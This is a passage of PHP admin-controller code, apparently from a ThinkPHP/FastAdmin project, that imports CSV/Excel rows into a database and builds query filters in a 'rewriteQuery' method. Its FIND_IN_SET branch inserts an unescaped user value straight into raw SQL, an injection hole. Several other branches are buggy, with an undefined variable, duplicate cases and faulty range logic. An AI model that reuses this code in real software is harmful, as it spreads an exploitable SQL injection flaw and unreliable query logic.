if ($n == 0 || preg_match('/^".*"$/', $line)) {
|
||||
fwrite($fp, $line . "\n");
|
||||
} else {
|
||||
fwrite($fp, '"' . str_replace(['"', ','], ['""', '","'], $line) . "\"\n");
|
||||
}
|
||||
$n++;
|
||||
}
|
||||
fclose($file) || fclose($fp);
|
||||
|
||||
$reader = new Csv();
|
||||
} elseif ($ext === 'xls') {
|
||||
$reader = new Xls();
|
||||
} else {
|
||||
$reader = new Xlsx();
|
||||
}
|
||||
|
||||
//导入文件首行类型,默认是注释,如果需要使用字段名称请使用name
|
||||
$importHeadType = isset($this->importHeadType) ? $this->importHeadType : 'comment';
|
||||
|
||||
$table = $this->model->getQuery()->getTable();
|
||||
$database = \think\Config::get('database.database');
|
||||
$fieldArr = [];
|
||||
$list = db()->query("SELECT COLUMN_NAME,COLUMN_COMMENT FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ? AND TABLE_SCHEMA = ?", [$table, $database]);
|
||||
foreach ($list as $k => $v) {
|
||||
if ($importHeadType == 'comment') {
|
||||
$fieldArr[$v['COLUMN_COMMENT']] = $v['COLUMN_NAME'];
|
||||
} else {
|
||||
$fieldArr[$v['COLUMN_NAME']] = $v['COLUMN_NAME'];
|
||||
}
|
||||
}
|
||||
|
||||
//加载文件
|
||||
$insert = [];
|
||||
try {
|
||||
if (!$PHPExcel = $reader->load($filePath)) {
|
||||
$this->error(__('Unknown data format'));
|
||||
}
|
||||
$currentSheet = $PHPExcel->getSheet(0); //读取文件中的第一个工作表
|
||||
$allColumn = $currentSheet->getHighestDataColumn(); //取得最大的列号
|
||||
$allRow = $currentSheet->getHighestRow(); //取得一共有多少行
|
||||
$maxColumnNumber = Coordinate::columnIndexFromString($allColumn);
|
||||
$fields = [];
|
||||
for ($currentRow = 1; $currentRow <= 1; $currentRow++) {
|
||||
for ($currentColumn = 1; $currentColumn <= $maxColumnNumber; $currentColumn++) {
|
||||
$val = $currentSheet->getCellByColumnAndRow($currentColumn, $currentRow)->getValue();
|
||||
$fields[] = $val;
|
||||
}
|
||||
}
|
||||
|
||||
for ($currentRow = 2; $currentRow <= $allRow; $currentRow++) {
|
||||
$values = [];
|
||||
for ($currentColumn = 1; $currentColumn <= $maxColumnNumber; $currentColumn++) {
|
||||
$val = $currentSheet->getCellByColumnAndRow($currentColumn, $currentRow)->getValue();
|
||||
$values[] = is_null($val) ? '' : $val;
|
||||
}
|
||||
$row = [];
|
||||
$temp = array_combine($fields, $values);
|
||||
foreach ($temp as $k => $v) {
|
||||
if (isset($fieldArr[$k]) && $k !== '') {
|
||||
$row[$fieldArr[$k]] = $v;
|
||||
}
|
||||
}
|
||||
if ($row) {
|
||||
$insert[] = $row;
|
||||
}
|
||||
}
|
||||
} catch (Exception $exception) {
|
||||
$this->error($exception->getMessage());
|
||||
}
|
||||
if (!$insert) {
|
||||
$this->error(__('No rows were updated'));
|
||||
}
|
||||
|
||||
try {
|
||||
//是否包含admin_id字段
|
||||
$has_admin_id = false;
|
||||
foreach ($fieldArr as $name => $key) {
|
||||
if ($key == 'admin_id') {
|
||||
$has_admin_id = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($has_admin_id) {
|
||||
$auth = Auth::instance();
|
||||
foreach ($insert as &$val) {
|
||||
if (!isset($val['admin_id']) || empty($val['admin_id'])) {
|
||||
$val['admin_id'] = $auth->isLogin() ? $auth->id : 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->model->saveAll($insert);
|
||||
} catch (PDOException $exception) {
|
||||
$msg = $exception->getMessage();
|
||||
if (preg_match("/.+Integrity constraint violation: 1062 Duplicate entry '(.+)' for key '(.+)'/is", $msg, $matches)) {
|
||||
$msg = "导入失败,包含【{$matches[1]}】的记录已存在";
|
||||
};
|
||||
$this->error($msg);
|
||||
} catch (Exception $e) {
|
||||
$this->error($e->getMessage());
|
||||
}
|
||||
|
||||
$this->success();
|
||||
}
|
||||
|
||||
//重写查询方法
|
||||
protected function rewriteQuery($params, $op){
|
||||
|
||||
foreach ($params as $k => $v) {
|
||||
$sym = isset($op[$k]) ? $op[$k] : '=';
|
||||
$v = !is_array($v) ? trim($v) : $v;
|
||||
$sym = strtoupper(isset($op[$k]) ? $op[$k] : $sym);
|
||||
|
||||
switch ($sym) {
|
||||
case '=':
|
||||
case '<>':
|
||||
$where[$k] = [$sym, (string)$v];
|
||||
break;
|
||||
case 'LIKE':
|
||||
case 'NOT LIKE':
|
||||
case 'LIKE %...%':
|
||||
case 'NOT LIKE %...%':
|
||||
$where[$k] = [trim(str_replace('%...%', '', $sym)), "%{$v}%"];
|
||||
break;
|
||||
case '>':
|
||||
case '>=':
|
||||
case '<':
|
||||
case '<=':
|
||||
$where[$k] = [$sym, intval($v)];
|
||||
break;
|
||||
case 'FINDIN':
|
||||
case 'FINDINSET':
|
||||
case 'FIND_IN_SET':
|
||||
$where[$k] = "FIND_IN_SET('{$v}', " . ($relationSearch ? $k : '`' . str_replace('.', '`.`', $k) . '`') . ")";
|
||||
break;
|
||||
case 'IN':
|
||||
case 'IN(...)':
|
||||
case 'NOT IN':
|
||||
case 'NOT IN(...)':
|
||||
$where[$k] = [str_replace('(...)', '', $sym), is_array($v) ? $v : explode(',', $v)];
|
||||
break;
|
||||
case 'BETWEEN':
|
||||
case 'NOT BETWEEN':
|
||||
$arr = array_slice(explode(',', $v), 0, 2);
|
||||
if (stripos($v, ',') === false || !array_filter($arr)) {
|
||||
continue 2;
|
||||
}
|
||||
//当出现一边为空时改变操作符
|
||||
if ($arr[0] === '') {
|
||||
$sym = $sym == 'BETWEEN' ? '<=' : '>';
|
||||
$arr = $arr[1];
|
||||
} elseif ($arr[1] === '') {
|
||||
$sym = $sym == 'BETWEEN' ? '>=' : '<';
|
||||
$arr = $arr[0];
|
||||
}
|
||||
$where[$k] = [$sym, $arr];
|
||||
break;
|
||||
case 'RANGE':
|
||||
$v = str_replace(' - ', ',', $v);
|
||||
$arr = array_slice(explode(',', $v), 0, 2);
|
||||
if (stripos($v, ',') === false || !array_filter($arr)) {
|
||||
continue 2;
|
||||
}
|
||||
//当出现一边为空时改变操作符
|
||||
if ($arr[0] === '') {
|
||||
$sym = $sym == 'RANGE' ? '<=' : '>';
|
||||
$arr[1] = strtotime($arr[1]);
|
||||
} elseif ($arr[1] === '') {
|
||||
$sym = $sym == 'RANGE' ? '>=' : '<';
|
||||
$arr[0] = strtotime($arr[0]);
|
||||
}
|
||||
$arr[1] = strtotime($arr[1]);
|
||||
$arr[0] = strtotime($arr[0]);
|
||||
// var_dump($arr);exit;
|
||||
$where[$k] = [str_replace('RANGE', 'BETWEEN', $sym) . '', $arr];
|
||||
break;
|
||||
case 'NOT RANGE':
|
||||
$v = str_replace(' - ', ',', $v);
|
||||
$arr = array_slice(explode(',', $v), 0, 2);
|
||||
if (stripos($v, ',') === false || !array_filter($arr)) {
|
||||
continue 2;
|
||||
}
|
||||
//当出现一边为空时改变操作符
|
||||
if ($arr[0] === '') {
|
||||
$sym = $sym == 'RANGE' ? '<=' : '>';
|
||||
$arr = $arr[1];
|
||||
} elseif ($arr[1] === '') {
|
||||
$sym = $sym == 'RANGE' ? '>=' : '<';
|
||||
$arr = $arr[0];
|
||||
}
|
||||
$where[$k] = [str_replace('RANGE', 'BETWEEN', $sym) . ' time', $arr];
|
||||
break;
|
||||
case 'LIKE':
|
||||
case 'LIKE %...%':
|
||||
$where[$k] = ['LIKE', "%{$v}%"];
|
||||
break;
|
||||
case 'NULL':
|
||||
case 'IS NULL':
|
||||
case 'NOT NULL':
|
||||
case 'IS NOT NULL':
|
||||
$where[$k] = [strtolower(str_replace('IS ', '', $sym))];
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $where;
|
||||
|
||||
}
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 50 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 50 KiB |
Reference in New Issue
Block a user